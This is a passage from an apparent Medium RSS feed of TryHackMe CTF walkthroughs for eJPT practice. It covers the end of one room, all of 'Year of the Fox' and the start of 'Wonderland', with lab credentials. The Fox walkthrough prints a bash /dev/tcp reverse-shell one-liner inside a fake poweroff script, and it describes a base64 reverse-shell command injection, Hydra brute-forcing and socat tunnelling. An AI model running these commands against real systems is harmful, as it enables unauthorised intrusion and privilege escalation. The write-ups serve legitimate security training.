indefinitely — which is exactly what we want. Our Netcat terminal immediately received a connection:</p><ul><li>Shell landed as <strong>www-data</strong> — the low-privilege web server user</li><li>We were placed inside /var/www/html</li></ul><p>Running ls / confirmed we were on a standard Ubuntu Linux system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fktXIWldfigTP8WppxtIEw.png" /></figure><h3>Step 13 — Finding the Web Flag</h3><p>We upgraded to a more interactive shell first:</p><ul><li>python3 -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39; — spawns a proper bash terminal from the basic shell</li></ul><p>Then we looked around the web directory:</p><ul><li>cat wwe3bbfla4g.txt — read a flag file found in /var/www/html</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fqMOLksopZXXKqNv3jFyog.png" /></figure><p>Next we checked the /home directory:</p><ul><li>ls /home — showed a user directory named <strong>hakanbey</strong></li><li>cd hakanbey — resulted in &quot;Permission denied&quot;</li></ul><p>We couldn’t access hakanbey’s home directory as www-data, so we needed to escalate to that user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D2XBqfx1XqOZ5TAd4G5V2g.png" /></figure><h3>Step 14 — Transferring sucrack to the Target</h3><p><strong>sucrack</strong> is a multithreaded tool that brute-forces Unix su (switch user) passwords. Since we know the user is hakanbey and we had a wordlist, we decided to brute-force the su password.</p><p>On our Kali machine, we cloned sucrack from GitHub and packaged it:</p><ul><li>git clone <a href="https://github.com/hemp3l/sucrack.git">https://github.com/hemp3l/sucrack.git</a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aEBpruVsyPdGdb9Pzs7QMA.png" /></figure><ul><li>tar -czvf source-sucrack.tar.gz ./sucrack — compresses the sucrack source code into a tarball</li></ul><p>We also needed the wordlist from the /announcements directory. Using FTP, we uploaded both files:</p><ul><li>put source-sucrack.tar.gz — uploads the sucrack archive</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r6q9ZvDMHzHkiqll7r1nig.png" /></figure><ul><li>put wordlist.txt — uploads the wordlist</li></ul><p>We then made both files world-readable with chmod 777 via FTP so the www-data shell could access them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WSXY9l4qcO9WvYo0Kuq5tw.png" /></figure><h3>Step 15 — Compiling and Running sucrack</h3><p>Back in our www-data shell, we moved the uploaded files to /tmp and compiled sucrack:</p><ul><li>mv /var/www/subdomain/source-sucrack.tar.gz /tmp</li><li>mv /var/www/subdomain/wordlist.txt /tmp</li><li>cd /tmp &amp;&amp; tar xfz source-sucrack.tar.gz — extracts the archive</li><li>cd sucrack &amp;&amp; ./configure — prepares the build environment</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*micCJnZdKasuheaLqJYJGg.png" /></figure><ul><li>make — compiles the sucrack binary</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jZmntUkKOqSozQjyouVzPQ.png" /></figure><p>Once compiled, we filtered the wordlist to remove entries starting with 123adana (the passphrase we already knew wasn&#39;t the password) to speed things up:</p><ul><li>sed &#39;s/^123adana/&#39; wordlist.txt &gt; wordlist2.txt — creates a filtered wordlist</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uSd1ab-FLrT_aia8V_66BQ.png" /></figure><p>Then we ran sucrack:</p><ul><li>./sucrack -u hakanbey -w 100 wordlist2.txt</li><li>-u hakanbey — the target username</li><li>-w 100 — uses 100 worker threads for speed</li></ul><p>sucrack found hakanbey’s password after trying 4435 out of 803891 entries</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oRYO05tVf88YBgR6_s-mzw.png" /></figure><h3>Step 16 — Switching to hakanbey &amp; User Flag</h3><p>With the password in hand, we switched users:</p><ul><li>su hakanbey — switch to the hakanbey user</li><li>Password: 123adanasubaru</li></ul><p>We then navigated to hakanbey’s home directory and read the user flag:</p><ul><li>cd /home/hakanbey &amp;&amp; ls</li><li>cat user.txt</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/872/1*opdn5IR6tJgO8kdiflus4A.png" /></figure><h3>Step 17 — Analysing the Custom Binary</h3><p>Looking around hakanbey’s home directory, we noticed an unusual binary called <strong>binary</strong> in the system path. We checked it with:</p><ul><li>find / -perm /4000 2&gt;/dev/null — finds files with special SUID permissions</li></ul><p>The results showed several binaries including /usr/bin/binary — a custom one that stood out among the standard system utilities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/1*zVs-5qOthAWlDPusa63DxA.png" /></figure><p>We ran it:</p><ul><li>binary</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lIqBZHHRlJIP94PE1E7qrQ.png" /></figure><p>The output said: <em>“I think you should enter the correct string here ==&gt; warzoneinadana”</em></p><p>It also gave a hint: Hexeditor 00000020 ==&gt; ???? ==&gt; /home/hakanbey/Desktop/root.jpg (CyberChef)</p><p>This tells us the binary expects a specific input string, and that the answer is hidden at a specific byte offset (0x20) inside a JPEG file — and we should use CyberChef to decode it.</p><p>We also ran ltrace binary to watch what library calls the binary makes internally. The trace confirmed the program was comparing our input against the string warzoneinadana using strcmp. Entering that string correctly triggered the binary to copy /root/root.jpg to hakanbey&#39;s home directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*orFuQilAik44ylPqPtovBw.png" /></figure><h3>Step 18 — Extracting the Root Password from the Binary Hint</h3><p>The binary copied root.jpg to /home/hakanbey/. We served it over HTTP to download it to our Kali machine:</p><ul><li>On the target: python3 -m http.server 1111</li><li>On Kali: wget <a href="http://adana.thm:1111/root.jpg">http://adana.thm:1111/root.jpg</a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_y684Zc9FXAn4LBLhL84iw.png" /></figure><p>We then inspected the file’s raw hex content:</p><ul><li>xxd root.jpg — displays the file content in hexadecimal format</li></ul><p>Looking at offset 0x00000020 (as the hint specified), we found a sequence of hex bytes. We took those bytes to <strong>CyberChef</strong> (an online encoding/decoding tool) and decoded them, which revealed the root password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cPaaX0cxarim5vP9azdWDA.png" /></figure><h3>Step 19 — Root Shell &amp; Root Flag</h3><p>With the root password discovered, we switched to root:</p><ul><li>su root</li><li>Password: Go0odJo0BbBro0o</li></ul><p>Running id confirmed:</p><ul><li>uid=0(root) gid=0(root) groups=0(root)</li></ul><p>We navigated to the root directory:</p><ul><li>cd /root &amp;&amp; ls</li><li>Files found: hint.txt, root.jpg, root.txt</li><li>cat root.txt</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2JroT7rG6c844GHGPV2BMw.png" /></figure><h3>Summary &amp; Key Takeaways</h3><p>Here’s the full attack chain from start to root:</p><ul><li><strong>Recon</strong> — Nmap found FTP (21) and HTTP (80)</li><li><strong>Web Enum</strong> — Gobuster discovered /announcements, /javascript, and /phpmyadmin</li><li><strong>Steganography</strong> — Stegseek cracked the hidden passphrase in the image and extracted a base64-encoded FTP credential file</li><li><strong>FTP Access</strong> — Logged in as hakanftp and explored the WordPress web root</li><li><strong>Config Leak</strong> — Downloaded wp-config.php via FTP to get database credentials</li><li><strong>phpMyAdmin</strong> — Logged in and found the site uses a virtual hostname: subdomain.adana.thm</li><li><strong>Virtual Host</strong> — Added adana.thm and subdomain.adana.thm to /etc/hosts</li><li><strong>PHP Shell Upload</strong> — Uploaded a PHP reverse shell via FTP and triggered it via the browser</li><li><strong>Initial Shell</strong> — Caught reverse shell as www-data using Netcat</li><li><strong>Web Flag</strong> — Found in /var/www/html/wwe3bbfla4g.txt</li><li><strong>sucrack</strong> — Compiled and ran sucrack via FTP file upload to brute-force hakanbey’s su password</li><li><strong>User Flag</strong> — Read user.txt after switching to hakanbey</li><li><strong>Binary Analysis</strong> — Used ltrace to reverse-engineer a custom SUID binary and found the correct input string</li><li><strong>Hex Analysis</strong> — Used xxd and CyberChef to extract the root password hidden at offset 0x20 inside root.jpg</li><li><strong>Root Shell</strong> — Used su root with the extracted password</li><li><strong>Root Flag</strong> — Read from /root/root.txt</li></ul><p>This room stands out from most CTFs because of its creative use of steganography, FTP-based shell upload, and a multi-step binary reverse engineering challenge that leads to root — all chained together in a very satisfying way.</p><blockquote><strong><em>T</em>hank you for reading my blog! Wishing you a wonderful and enriching learning journey ahead!</strong></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=99796280093c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[eJPT v2 : Challenge Lab 32: Year of the Fox CTF]]></title>
            <link>https://medium.com/@dhanushcool2410/ejpt-v2-challenge-lab-32-year-of-the-fox-ctf-1c52290c3d49?source=rss-ba6df77c4f94------2</link>
            <guid isPermaLink="false">https://medium.com/p/1c52290c3d49</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Dhanushkumar R]]></dc:creator>
            <pubDate>Thu, 16 Apr 2026 10:58:50 GMT</pubDate>
            <atom:updated>2026-04-16T10:58:50.839Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/531/1*_jJbC66Xp1N23bA3IDcTgw.png" /></figure><blockquote><strong><em>Introduction</em></strong></blockquote><p>Hey Guys, welcome back to “<strong>eJPT Challenge Lab</strong>” series!</p><p><strong>Overview &amp; Practice Labs</strong> — <a href="https://medium.com/@dhanushcool2410/ejpt-v2-cert-overview-practice-labs-21a30b86765b">https://medium.com/@dhanushcool2410/ejpt-v2-cert-overview-practice-labs-21a30b86765b</a></p><p>In our previous post, we explored <a href="https://tryhackme.com/room/wonderland"><strong>Challenge Lab 31: Wonderland</strong></a><strong> </strong>Now will move into <a href="https://tryhackme.com/room/yotf"><strong>Challenge Lab 32: Year of the Fox</strong></a></p><p>This lab will help you practice and improve your ability to scan networks, connect to systems, giving you hands-on experience with essential penetration testing tools.</p><blockquote><strong>Challenge</strong></blockquote><p>A multi-stage CTF involving SMB enumeration, HTTP brute-forcing, command injection for a reverse shell, SSH tunneling via socat, and privilege escalation through a binary hijack.</p><p><strong>Tags:</strong> nmap · enum4linux · Hydra · Burp Suite · Netcat · socat · SSH · Privilege Escalation · Linux</p><h3>Step 1 : Reconnaissance with Nmap</h3><p>As always, we start by scanning the target to see what’s running on it. We used Nmap with the -Pn flag to skip the ping check and scan all ports.</p><ul><li>nmap -Pn &lt;IP&gt;— basic port scan on the target IP</li></ul><p>The scan returned three open ports:</p><ul><li>Port <strong>80</strong> — HTTP web server</li><li>Port <strong>139</strong> — NetBIOS (used by Samba/SMB file sharing)</li><li>Port <strong>445</strong> — Microsoft-DS (also SMB-related)</li></ul><p>The presence of ports 139 and 445 tells us right away that there’s a <strong>Samba (SMB) service</strong> running — this is commonly seen on Linux machines that share files in a Windows-style network.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FQEI0iLIjM1Hh7FP4_S6wQ.png" /></figure><h3>Step 2 : Service Version Scan</h3><p>We followed up with a deeper scan on the discovered ports to identify exact software versions and gather more details:</p><ul><li>nmap -p 80,139,445 -sCV &lt;IP&gt; — runs version detection and default scripts against those three ports</li></ul><p>Key findings:</p><ul><li>Port <strong>80</strong> is running <strong>Apache 2.4.29</strong> with HTTP Basic Authentication enabled. The auth prompt says <em>“You want in? Gotta guess the password!”</em> — a clear hint that brute-forcing is needed</li><li>Ports <strong>139 and 445</strong> are running <strong>Samba 4.7.6</strong> (SMB) with the workgroup name <strong>YEAROFTHEFOX</strong></li><li>The machine’s hostname is year-of-the-fox.lan and SMB message signing is disabled — a useful detail for future attacks</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V32iK4N38t0IjJ2u-ijJYA.png" /></figure><h3>Step 3 : Web Server — HTTP Basic Auth</h3><p>Visiting http://&lt;IP&gt; in the browser triggers an HTTP Basic Authentication pop-up asking for a username and password. We don&#39;t have credentials yet, so we move on to gather usernames first.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kGF4d89SQz-DvhQqIrTlLw.png" /></figure><h3>Step 4 : SMB Enumeration with enum4linux</h3><p>Since the target is running Samba, we used <strong>enum4linux</strong> — a tool that pulls information from SMB services anonymously, including users, shares, and domain details.</p><ul><li>enum4linux -a &lt;IP&gt; — runs a full enumeration (-a means all checks)</li></ul><p>The tool confirmed the workgroup name <strong>YEAROFTHEFOX</strong> and revealed NetBIOS services running on the machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8ddqvFV6hOZSrKxLzzBcqA.png" /></figure><h3>Step 5 : Discovering Users and Shares</h3><p>enum4linux gave us two valuable pieces of information:</p><p><strong>SMB shares found:</strong></p><ul><li>yotf — a disk share described as <em>&quot;Fox&#39;s Stuff — keep out!&quot;</em></li><li>IPC$ — a standard administrative share</li></ul><p>We now have two usernames to work with: <strong>fox</strong> and <strong>rascal</strong>. Time to try brute-forcing the HTTP login.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6OGWQtNtmA3hmhKKeRAPGw.png" /></figure><p><strong>Users found on the system:</strong></p><ul><li>fox — a local Unix user</li><li>rascal — another local Unix user</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yAwYmzyFkncn3fYE3q750w.png" /></figure><h3>Step 6 : Brute-forcing HTTP Auth with Hydra (rascal)</h3><p>With the usernames in hand, we used <strong>Hydra</strong> — a fast password brute-forcing tool — to attack the HTTP Basic Auth on port 80.</p><ul><li>hydra -l rascal -P /usr/share/wordlists/rockyou.txt 10.48.168.227 http-get /</li><li>-l rascal — specifies the username to try</li><li>-P rockyou.txt — uses the popular rockyou password wordlist</li><li>http-get / — targets the HTTP GET login at the root path</li></ul><p>Hydra found the credentials very quickly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iAq3BFA0tpHsBzs-kdIf7A.png" /></figure><h3>Step 7 : Exploring the Web App — Rascal’s Search System</h3><p>After logging in with rascal:shamrock, the web server revealed a page called <strong>&quot;Rascal&#39;s Search System&quot;</strong> — a simple search box with a &quot;Search!&quot; button. This immediately looks like a potential target for <strong>command injection</strong>, where we trick the input field into running system commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9BhAgqHbp9vaUmdmTPcfsA.png" /></figure><h3>Step 8 : Command Injection via Burp Suite</h3><p>We intercepted the search request using <strong>Burp Suite</strong> — a proxy tool that lets you inspect and modify HTTP requests before they reach the server.</p><p>Looking at the raw POST request to /assets/php/search.php, the body contained a JSON field called target. We modified this field to inject a malicious command:</p><ul><li>The payload used echo to pipe a base64-encoded reverse shell command through base64 -d | bash</li><li>This technique encodes the shell payload in base64 to avoid characters that might get filtered by the app</li><li>When the server processes the target field, it executes our injected command instead of a normal search</li></ul><p>This confirmed the app was <strong>vulnerable to command injection</strong> — it was passing our input directly to the system without any proper sanitization.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rk88EG0lHk_PylpqntnlwA.png" /></figure><h3>Step 9 : Getting a Reverse Shell with Netcat</h3><p>Before sending the injection payload, we set up a <strong>Netcat listener</strong> on our Kali machine to catch the incoming shell connection:</p><ul><li>nc -lnvp 4444 — listens on port 4444 for an incoming connection</li><li>-l = listen mode, -n = no DNS, -v = verbose, -p = port</li></ul><p>Once the payload was sent via Burp Suite, the server connected back to us and we got a shell as <strong>www-data</strong> — the web server’s low-privilege user. We landed inside /var/www/html/assets/php/, where the vulnerable search.php file lived.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MduMJx1Vdw3SVbVVpY2ggg.png" /></figure><h3>Step 10 : Finding the Web Flag</h3><p>As www-data, we navigated up the directory tree step by step using cd ../ until we reached /var/www/. Running ls revealed a file called web-flag.txt.</p><ul><li>cat web-flag.txt — reads the flag</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EWc-hUY0vJbPZ1tFeFQDuA.png" /></figure><h3>Step 11 : Internal Port Discovery with netstat</h3><p>Now that we had a shell, we wanted to see what services were running internally — things that might not be visible from outside. We ran:</p><ul><li>netstat -tulwn — lists all listening TCP and UDP ports on the machine</li><li>-t = TCP, -u = UDP, -l = listening only, -w = raw sockets, -n = show numbers not names</li></ul><p>The output showed that <strong>SSH (port 22) was bound only to localhost (</strong><strong>127.0.0.1)</strong> — meaning it wasn&#39;t accessible from the outside. This is why our initial Nmap scan didn&#39;t show SSH. To reach it, we needed to <strong>forward that internal port to the outside</strong> using a technique called port forwarding.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3iMFcFI4O2FBgc8Mex1Vsg.png" /></figure><h3>Step 12 : Forwarding SSH with socat</h3><p><strong>socat</strong> is a tool that can relay network connections — perfect for tunneling the internal SSH port to an external-facing port.</p><p>We transferred the socat binary from our Kali machine to the target:</p><ul><li>On Kali: python3 -m http.server 8000 — serves socat over HTTP</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HV8DbtKRMmdpj2aqMVD7QQ.png" /></figure><ul><li>On the target: wget http://192.168.190.31:8000/socat — downloads socat</li><li>chmod +x socat — makes it executable</li></ul><p>Then we ran socat to forward the internal SSH port to an external one:</p><ul><li>/tmp/socat tcp-listen:8080,reuseaddr,fork tcp:localhost:22</li><li>This tells socat to listen on port 8080 (accessible externally) and forward all traffic to port 22 (SSH) on localhost</li><li>Now we can SSH into the machine via port 8080 from our Kali machine</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Pl-R-VvoEt-k3G02XneBPg.png" /></figure><h3>Step 13 : Brute-forcing SSH for fox with Hydra</h3><p>With SSH now reachable on port 8080, we brute-forced the <strong>fox</strong> user’s SSH password using Hydra:</p><ul><li>hydra -l fox -P /usr/share/wordlists/rockyou.txt -f 10.48.159.165 ssh -s 8080</li><li>-s 8080 — tells Hydra to use port 8080 instead of the default SSH port 22</li><li>-f — stops as soon as one valid password is found</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J3u5ybgchwCsP1ft32l9Gg.png" /></figure><h3>Step 14 : SSH Login as Fox &amp; User Flag</h3><p>With fox’s credentials, we SSHed in through the forwarded port:</p><ul><li>ssh fox@10.48.159.165 -p 8080</li></ul><p>After logging in, we ran ls and found user-flag.txt along with a samba directory. Reading the flag:</p><ul><li>cat user-flag.txt</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rTV3uwBGaB8pX6cgyWtwgg.png" /></figure><h3>Step 15 : Checking Sudo Privileges</h3><p>To look for privilege escalation paths, we checked what fox could run with elevated permissions:</p><ul><li>sudo -l — lists allowed sudo commands for the current user</li></ul><p>The result showed fox can run one command as root without a password:</p><p>(root) NOPASSWD: /usr/sbin/shutdown</p><p>Fox can run shutdown as root without needing a password. On its own, this looks harmless — but we can investigate the binary further.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gedKhoTX2FZXBwbvbipiPg.png" /></figure><h3>Step 16 : Analysing the shutdown Binary</h3><p>We served the shutdown binary from the target over HTTP using Python:</p><ul><li>python3 -m http.server 3456 — starts a web server in the /usr/sbin/ directory</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hpmxn8qksOwXrodAelMNuA.png" /></figure><ul><li>On Kali: wget http://10.48.159.165:3456/shutdown — downloads the binary</li></ul><p>Then we ran strings shutdown to extract readable text from the binary. The output revealed that the binary internally calls <strong>poweroff</strong> — without a full path. This is the same vulnerability we saw in the Wonderland room — it relies on $PATH to find poweroff, which means we can <strong>hijack it</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hLEmMa6RPS2ZnIlFdfzfEw.png" /></figure><h3>Step 17 : Creating the Fake poweroff Script</h3><p>Now that we confirmed the shutdown binary calls poweroff without a full path, we put the PATH hijack into action.</p><p>We moved to /tmp — a writable directory — and created a fake script named poweroff:</p><ul><li>cd /tmp — move to a directory we can write to</li><li>vim poweroff — create the fake poweroff script</li></ul><p>The contents of the fake script were a simple bash reverse shell:</p><pre>#!/bin/bash<br>bash -i &gt;&amp; /dev/tcp/&lt;IP&gt;/5678 0&gt;&amp;1</pre><p>This one-liner connects back to our Kali machine on port 5678 and hands us an interactive shell. The &gt;&amp; /dev/tcp/... syntax is a built-in bash trick to redirect input and output over a TCP connection.</p><ul><li>chmod +x poweroff — makes it executable</li></ul><p>Next, we updated the PATH so /tmp is searched first:</p><ul><li>export PATH =`pwd`:$PATH— prepends/tmp` to the PATH variable</li><li>cat poweroff — confirmed the script was saved correctly</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BjFsqwREyf-XK_fVNu6OZQ.png" /></figure><h3>Step 18 : Root Shell via sudo shutdown</h3><p>Before running the exploit, we set up a Netcat listener on our Kali machine on port 5678 to catch the incoming root shell:</p><ul><li>nc -lnvp 5678</li></ul><p>Then, as fox, we ran:</p><ul><li>sudo /usr/sbin/shutdown</li></ul><p>Since shutdown internally calls poweroff without a full path, and /tmp was now first in the PATH, it executed our fake poweroff script — as <strong>root</strong>. The reverse shell connected back to our listener.</p><p>Running whoami; id; hostname in the root shell confirmed:</p><ul><li>root</li><li>uid=0(root) gid=0(root) groups=0(root)</li><li>year-of-the-fox</li></ul><p>We were fully root on the machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c99cM9y1QqyYRePx_pUM6A.png" /></figure><h3>Step 18 — Finding the Root Flag</h3><p>With root access, we searched for all files owned by the root group under /home:</p><ul><li>find /home -group root -type f</li></ul><h3>What it does</h3><ul><li>find /home → search inside /home directory</li><li>-group root → find files owned by <strong>group </strong><strong>root</strong></li><li>-type f → only regular files (no directories, symlinks, etc.)</li></ul><p>This revealed three interesting files:</p><ul><li>/home/rascal/.did-you-think-I-was-useless.root — a cheeky hidden file hinting rascal had a role after all</li><li>/home/fox/user-flag.txt — the user flag we already captured</li><li>/home/fox/samba/cipher.txt — an encrypted or hidden file inside the samba directory</li></ul><p>Reading the hidden file in rascal’s home directory gave us the <strong>root flag</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/978/1*TaAkN0lGhtx4NNmXwIqfJQ.png" /></figure><h3>Summary &amp; Key Takeaways</h3><p>Here’s the complete attack chain from start to root:</p><ul><li><strong>Recon</strong> — Nmap found HTTP (80), NetBIOS (139), and SMB (445)</li><li><strong>SMB Enumeration</strong> — enum4linux revealed two usernames: fox and rascal, plus the yotf SMB share</li><li><strong>HTTP Brute-force</strong> — Hydra cracked rascal’s HTTP Basic Auth password: shamrock</li><li><strong>Web App Exploration</strong> — Logged in to find “Rascal’s Search System” — a search form vulnerable to command injection</li><li><strong>Command Injection</strong> — Used Burp Suite to inject a base64-encoded reverse shell payload into the target JSON field</li><li><strong>Initial Shell</strong> — Caught a reverse shell as www-data via Netcat listener</li><li><strong>Web Flag</strong> — Navigated to /var/www/ and read web-flag.txt</li><li><strong>Internal Recon</strong> — netstat -tulwn showed SSH was only listening on localhost (port 22)</li><li><strong>Port Forwarding</strong> — Transferred socat to the target and used it to expose internal SSH on port 8080</li><li><strong>SSH Brute-force</strong> — Hydra cracked fox’s SSH password (lovers) through the forwarded port</li><li><strong>User Flag</strong> — Read user-flag.txt after SSHing in as fox</li><li><strong>Binary Analysis</strong> — Downloaded and ran strings on the shutdown binary — it calls poweroff without a full path</li><li><strong>PATH Hijack</strong> — Created a fake poweroff reverse shell script in /tmp, prepended /tmp to PATH, then ran sudo shutdown to trigger it as root</li><li><strong>Root Shell</strong> — Caught the root reverse shell on Netcat</li><li><strong>Root Flag</strong> — Found in /home/rascal/.did-you-think-I-was-useless.root using find</li></ul><p>This room is a great example of a realistic, layered attack — starting from zero with just an IP address, chaining SMB recon into web exploitation, pivoting through internal services using port forwarding, and finishing with a clean sudo PATH hijack to reach root.</p><blockquote><strong><em>Thank you for reading my blog! Wishing you a wonderful and enriching learning journey ahead!</em></strong></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1c52290c3d49" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[eJPT v2 : Challenge Lab 31: Wonderland CTF]]></title>
            <link>https://medium.com/@dhanushcool2410/ejpt-v2-challenge-lab-31-wonderland-ctf-5569814a5e66?source=rss-ba6df77c4f94------2</link>
            <guid isPermaLink="false">https://medium.com/p/5569814a5e66</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[linux]]></category>
            <dc:creator><![CDATA[Dhanushkumar R]]></dc:creator>
            <pubDate>Fri, 20 Mar 2026 14:51:00 GMT</pubDate>
            <atom:updated>2026-03-20T14:51:00.537Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/531/1*_jJbC66Xp1N23bA3IDcTgw.png" /></figure><blockquote><strong><em>Introduction</em></strong></blockquote><p>Hey Guys, welcome back to “<strong>eJPT Challenge Lab</strong>” series!</p><p><strong>Overview &amp; Practice Labs</strong> — <a href="https://medium.com/@dhanushcool2410/ejpt-v2-cert-overview-practice-labs-21a30b86765b">https://medium.com/@dhanushcool2410/ejpt-v2-cert-overview-practice-labs-21a30b86765b</a></p><p>In our previous post, we explored <a href="https://tryhackme.com/room/yearoftherabbit"><strong>Challenge Lab 30: Year of the Rabbit</strong></a><strong> </strong>Now will move into <a href="https://tryhackme.com/room/wonderland"><strong>Challenge Lab 31: Wonderland</strong></a></p><p>This lab will help you practice and improve your ability to scan networks, connect to systems, giving you hands-on experience with essential penetration testing tools.</p><blockquote><strong><em>Challenge</em></strong></blockquote><p>A beginner-friendly boot-to-root challenge involving web enumeration, Python library hijacking, PATH manipulation, and a Perl SUID exploit.</p><p><strong>Tags:</strong> nmap · ffuf · SSH · sudo abuse · PATH hijack · SUID Perl · Privilege Escalation · Linux</p><h3>Step 1 — Reconnaissance with Nmap</h3><p>The first thing we do in any CTF is scan the target machine to find out what ports and services are open. We used <strong>Nmap</strong>, a network scanning tool, to do this.</p><p>We ran two scans — a quick one to get open ports, followed by a deeper version/service scan on those specific ports:</p><ul><li>nmap -Pn &lt;IP&gt; — scans all ports, skipping the ping check (-Pn is useful when ICMP is blocked)</li><li>nmap -Pn -p22,80 -sCV &lt;IP&gt; — runs script and version detection (-sCV) on ports 22 and 80</li></ul><p>The scan revealed two open ports:</p><ul><li>Port <strong>22</strong> — SSH (OpenSSH 7.6p1 on Ubuntu)</li><li>Port <strong>80</strong> — HTTP web server running on Go, with the page title <em>“Follow the white rabbit”</em></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CaNtL8mTW1MfXyXggosvTw.png" /></figure><h3>Step 2 — Visiting the Web Server</h3><p>Navigating to http://10.49.162.193 in the browser shows us a simple Alice in Wonderland-themed page with the message <em>&quot;Follow the White Rabbit.&quot;</em> There&#39;s not much here visually, but it gives us a theme and hints there&#39;s more to explore. Time to dig deeper.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4CyCqy_7ypGpp-jiq-sfjA.png" /></figure><h3>Step 3 — Directory Fuzzing with ffuf</h3><p>To find hidden pages and directories, we used <strong>ffuf</strong> — a fast web fuzzer. It tries a list of common directory names against the target URL and reports anything that exists.</p><ul><li>ffuf -u http://10.49.162.193/FUZZ -w /usr/share/wordlists/dirb/common.txt -recursion</li><li>The FUZZ keyword is replaced with each word from the wordlist</li><li>The -recursion flag tells ffuf to also fuzz inside any discovered directories automatically</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ukPUi8rHdNdpfE-WZmu9WQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WO8TgSZsDIFNJ5VgPb4h5Q.png" /></figure><p>Thanks to recursive fuzzing, ffuf drilled all the way down through nested directories: <strong>/r → /r/a → /r/a/b → /r/a/b/b → /r/a/b/b/i → /r/a/b/b/i/t</strong>. Spell those path segments together and you get: <strong>rabbit</strong>. This is a deliberate hint from the room creator — we’re following the white rabbit!</p><h3>Step 4 — Inspecting the Page Source</h3><p>Visiting http://10.49.162.193/r/a/b/b/i/t/ shows a new page titled <em>&quot;Open the door and enter wonderland&quot;</em> with another Alice in Wonderland quote.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oNu-2W3I_xef9pLv8cd1_Q.png" /></figure><p>We right-clicked and selected <strong>View Page Source</strong> to inspect the raw HTML. Inside, we found a hidden paragraph tag with style=&quot;display: none;&quot; — meaning it was invisible on the page but still in the code.</p><p><strong><em>Found:</em></strong><em> The hidden text reads </em><em>alice:HowDothTheLittleCrocodileImproveHisShiningTail — that&#39;s a </em><strong><em>username and password</em></strong><em> for SSH!</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P2gUaUcdctXJFQyLXsQYfg.png" /></figure><p><strong>Step 5 — SSH Login as Alice &amp; User Flag</strong></p><p>With the credentials in hand, we logged in via SSH:</p><ul><li>ssh <a href="/service/mailto:alice@10.49.162.193">alice@IP</a> — connect to the machine as user <em>alice</em></li><li>Password: HowDothTheLittleCrocodileImproveHisShiningTail</li></ul><figure><img alt="" 